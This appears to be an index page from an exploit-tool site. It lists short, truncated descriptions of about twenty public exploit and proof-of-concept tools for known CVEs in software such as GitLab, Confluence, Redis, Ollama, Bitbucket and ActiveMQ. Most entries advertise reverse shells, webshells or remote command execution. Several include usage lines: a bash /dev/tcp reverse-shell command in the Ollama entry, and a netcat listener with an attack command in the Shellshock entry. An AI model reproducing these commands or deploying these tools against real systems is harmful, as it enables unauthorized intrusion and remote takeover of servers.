SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M 命令注入漏洞利用工具 针对 CVE-2025-69212 的完全自动化漏洞利用脚本，这是 OpenSTAManager 中的一个命令注入漏洞。该脚本使用管理员凭据进行身份验证，通过 ZIP 压缩包中精心构造的 P7M 文件部署恶意 PHP Webshell，并提供命令执行或反弹 Shell 功能。 功能特性 自动化身份验证。 恶意 ZIP 生成与上传（invoice.p7m 注入）。 Base64 命令封装，避免特殊字符问题。 反弹 Shell 与单命令执行参数。 使用方法 root@kitploit: python...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, supports batch scanning Usage root@kitploit: -a string Reverse listening address -b Whether to display banner default true -c string Command default "ls" -p int Reverse listening port -poc Whether to only perform POC scan, default scan only POC default true -r Whether to...

CVE-2021-22204

CVE-2021-22204 Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Exploit Description Use this exploit to generate a JPEG image payload that can be used with a vulnerable ExifTool version for code execution. A custom command can be provided or a reverse shell can be generated. A JPEG...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE exploit with different reverse shells. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 Modification of the version from Sam Redmond and Tam Lai Yin in order to learn and practice...

cve-2010-4221

cve-2010-4221 此漏洞利用程序是为了研究一些概念而编写的，希望你喜欢！ 用法 root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format 只需输入目标 IP、端口和你选择的攻击类型。程序会询问其他信息，例如：本地主机、本地端口或远程绑定端口...

CVE-2014-6271

CVE-2014-6271 python2.7 在你的机器上开始监听。 root@kitploit: nc -l -p 4444 按照以下规则运行python脚本： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 尽情享用...

Confluence-RCE

Usage: python3 mian.py Detection Command Execution Reverse Shell Supports SOCKS5 and HTTP Proxy...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Multithreaded exploit script for CVE-2022-36804 affecting most BitBucket versions 8.3.1 See the full advisory here https://jira.atlassian.com/browse/BSERV-13438 All credit to TheGrandPew for discovery The script will automatically detect public repositories located on bitbucket...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36553, a critical vulnerability in Hytec Inter HWL-2511-SS devices. The script is a practical demonstration,...

CVE-2020-9484

CVE-2020-9484 Click the image to watch the video Usage Make it execuateble root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama 远程代码执行 CVE-2024-37032 CVE-2024-45436 需要在Linux下运行，环境需要安装gcc 安装golang，执行以下命令反弹shell root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：利用可能需要几分钟，请耐心等待...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Vulnerability Description JumpServer Arbitrary File Write Vulnerability CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. Place the script and required files in the same directory 2. Ensure Google Chrome is installed, and obtain its version number root@kitploit: re...

CVE-2023-20887

CVE-2023-20887 漏洞利用 VMWare vRealize Network Insight 预认证远程代码执行 CVE-2023-20887 用法 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 目标 URL，例如 http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST 用于反弹 She...

CVE-2024-45519

CVE-2024-45519 SMTP Vulnerability Exploit Script Overview This script checks for vulnerabilities in an SMTP server and, if found, exploits the vulnerability by establishing a reverse shell connection to your machine. Features root@kitploit: Port Checking: Verifies if the target SMTP port is open...

cve-2025-49844

CVE-2025-49844 這是本人針對 CVE-2025-49844（又稱 RediShell）的個人概念驗證。 支援的目標建置版本： x86-64 Linux redis:8.2.1-alpine Docker 映像 x86-64 Linux redis:8.2.1-bookworm Docker 映像 它有點笨拙，可能不如 Wiz Research 的那麼好。不過，我很高興能在 Hexacon 2025 演講影片上傳前讓它運作起來，而且調查過程讓我獲益良多。 使用方法 執行單向 shell 指令： root@kitploit: $ uv run cve-2025-49844...

cve-2025-49844

CVE-2025-49844 My personal proof-of-concept for CVE-2025-49844, also known as RediShell. Supported target builds: x86-64 Linux redis:8.2.1-alpine Docker image x86-64 Linux redis:8.2.1-bookworm Docker image It's a bit clumsy, probably not as good as Wiz Research's. Still, I'm glad I managed to get...

ActiveMQ-EXPtools

ActiveMQ-EXPtools Supports detecting and exploiting Apache ActiveMQ vulnerabilities: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 !WARNING This tool is intended for security research and learning purposes only. Users...

CVE-2022-23935

CVE-2022-23935 🐍 Python Exploit for CVE-2022-23935 Staged Reverse Shell Payload Generator for CVE-2022-23935 Example root@kitploit: cve-2022-23935 10.10.16.3 44444 Usage root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback po...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit Description Python script for exploiting CVE-2024-0039: arbitrary code execution on vulnerable Android devices. WARNING : This code is intended for educational and constructive purposes only, on the side of good, so to speak! Usage Run the script with the necessary arguments...